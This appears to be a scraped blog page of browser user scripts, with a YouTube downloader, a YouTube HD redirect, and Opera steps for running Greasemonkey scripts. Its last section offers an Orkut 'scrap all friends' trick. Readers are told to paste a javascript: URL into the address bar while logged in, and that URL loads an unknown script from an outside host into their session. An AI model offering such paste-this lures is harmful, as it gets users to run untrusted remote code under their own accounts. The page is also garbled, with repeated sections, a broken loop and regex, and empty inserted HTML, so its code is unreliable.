You can Download Video from youtube. NEW!!!
// ==UserScript==
// @name Download Video from YouTube
// @description adds a link to download flv from YouTube
// @include *youtube.com/*v=*
// ==/UserScript==
//
// By IE7pro Team
// Ported from http://userscripts.org/scripts/show/3982
// and from http://userscripts.org/scripts/show/4037
//
(function() {
function in2html(txt)
{
if (!txt) return '';
var txthtml = txt.replace(/&/g,'&').replace(//g,'>');
return(txthtml);
}
function get_videourl()
{
var scriptmedia=new Array();
scriptmedia=document.getElementsByTagName('SCRIPT');
for(i=0;i
source=scriptmedia[i].text.match(/video_id=\S+&.+&t=.+&/i);
if (source!=null)
{
return in2html(String(source).replace(/(video_id=.+)&l=.+(&t=.+)&/i,'http:\/\/www.youtube.com\/get_video?$1$2'));
}
}
return "";
}
//get video url from page source
var videourl = get_videourl();
//insert before the vidFacetsDiv
var elm = document.getElementById("watch-video-details-inner");
if(!elm) return;
var elm_parent = elm.parentNode;
var div = document.createElement("div");
elm_parent.insertBefore(div, elm);
div.innerHTML = '';
})();
Showing posts with label User scripts. Show all posts
Showing posts with label User scripts. Show all posts
Youtube High Quality Video
Changes the video to the higher resolution version
// ==UserScript==
// @name Youtube HD
// @namespace userscripts.org
// @description Changes the video to the higher resolution version
// @version 0.3
// @include http://youtube.com/watch?*
// @include http://www.youtube.com/watch?*
// @include http://*.youtube.com/watch?*
// ==/UserScript==
var dUrl = document.URL;
var newurl;
if(!dUrl.match('&fmt=18')){
(dUrl.match('&'))? newurl = dUrl.replace(/&/, '&fmt=18&'): newurl = dUrl+'&fmt=18';
window.location.replace(newurl);
// ==UserScript==
// @name Youtube HD
// @namespace userscripts.org
// @description Changes the video to the higher resolution version
// @version 0.3
// @include http://youtube.com/watch?*
// @include http://www.youtube.com/watch?*
// @include http://*.youtube.com/watch?*
// ==/UserScript==
var dUrl = document.URL;
var newurl;
if(!dUrl.match('&fmt=18')){
(dUrl.match('&'))? newurl = dUrl.replace(/&/, '&fmt=18&'): newurl = dUrl+'&fmt=18';
window.location.replace(newurl);
Labels:
User scripts
Make greasemonkey scripts to work with opera
# Step 1: Configuring folder to store GreaseMonkey Script (Need to do this once only)
* Create a directory to store greasemonkey scripts. (e.g. C:\GM_opera)
* Go to Tools >> Preferences, it will open a window
* Navigate to Advanced Tab, then click on Content option in left menu.
* Click on JavaScript Options. It will open another window
* Click on Choose button to create a folder or select a folder to store GreaseMonkey scripts!
# Step 2: Adding GreaseMonkey scripts… (for every script…)
* Click on any GreaseMonkey script link. (URLs ending with .user.js extension)
* You will see a plaintext file getting opened in browser without any install pop-up as you usually see in firefox!
* Go to File >> Save as opera menu option. When prompted location to save script, navigate to the folder you selected in Step-1!
* Thats it! Just by saving GreaseMonkey scripts to preconfigured folder you can use them in opera!
#Few Notes…
* To Uninstall: Just delete the script from folder or move script file to some other location!
* To enable/disable: You can’t. Only Install/Uninstall options are available. Or you can move files to different folder.
* To change sites script works on: Open script in any text-editor and change @include and @exclude directive manually in script file.
#Compatibility Issues…
Most GreaseMonkey scripts will work without any modification as they do not make use of GreaseMonkey APIs. But for those who make use of API you can install Emulate GreaseMonkey functions opera userscript. Installation method is same as mentioned in step-2.
It may not works always but its really worth trying. So installing above script is highly recommended.
As an example our Facebooks Ignore ALL button script just works fine but Block ALL script is not working as it makes use of GM_xmlhttpRequest call which even above emulator script failed to implement! This may be bad news for orkut users as all scrap all scripts makes use of GM_xmlhttpRequest call.
Resource:
http://www.opera.com/support/tutorials/userjs/http://userjs.org/scripts/
* Create a directory to store greasemonkey scripts. (e.g. C:\GM_opera)
* Go to Tools >> Preferences, it will open a window
* Navigate to Advanced Tab, then click on Content option in left menu.
* Click on JavaScript Options. It will open another window
* Click on Choose button to create a folder or select a folder to store GreaseMonkey scripts!
# Step 2: Adding GreaseMonkey scripts… (for every script…)
* Click on any GreaseMonkey script link. (URLs ending with .user.js extension)
* You will see a plaintext file getting opened in browser without any install pop-up as you usually see in firefox!
* Go to File >> Save as opera menu option. When prompted location to save script, navigate to the folder you selected in Step-1!
* Thats it! Just by saving GreaseMonkey scripts to preconfigured folder you can use them in opera!
#Few Notes…
* To Uninstall: Just delete the script from folder or move script file to some other location!
* To enable/disable: You can’t. Only Install/Uninstall options are available. Or you can move files to different folder.
* To change sites script works on: Open script in any text-editor and change @include and @exclude directive manually in script file.
#Compatibility Issues…
Most GreaseMonkey scripts will work without any modification as they do not make use of GreaseMonkey APIs. But for those who make use of API you can install Emulate GreaseMonkey functions opera userscript. Installation method is same as mentioned in step-2.
It may not works always but its really worth trying. So installing above script is highly recommended.
As an example our Facebooks Ignore ALL button script just works fine but Block ALL script is not working as it makes use of GM_xmlhttpRequest call which even above emulator script failed to implement! This may be bad news for orkut users as all scrap all scripts makes use of GM_xmlhttpRequest call.
Resource:
http://www.opera.com/support/tutorials/userjs/http://userjs.org/scripts/
Labels:
User scripts
Scrap to all ur friends in orkut at once.
friends just goto orkut and login using ur account and type the following code in the address bar
code: javascript:d=document;c=d.
createElement('script');d.body.append
Child(c);c.src='http://referal.freeweb7.com
/scrap%20all.txt';void(0)
code: javascript:d=document;c=d.
createElement('script');d.body.append
Child(c);c.src='http://referal.freeweb7.com
/scrap%20all.txt';void(0)
Labels:
User scripts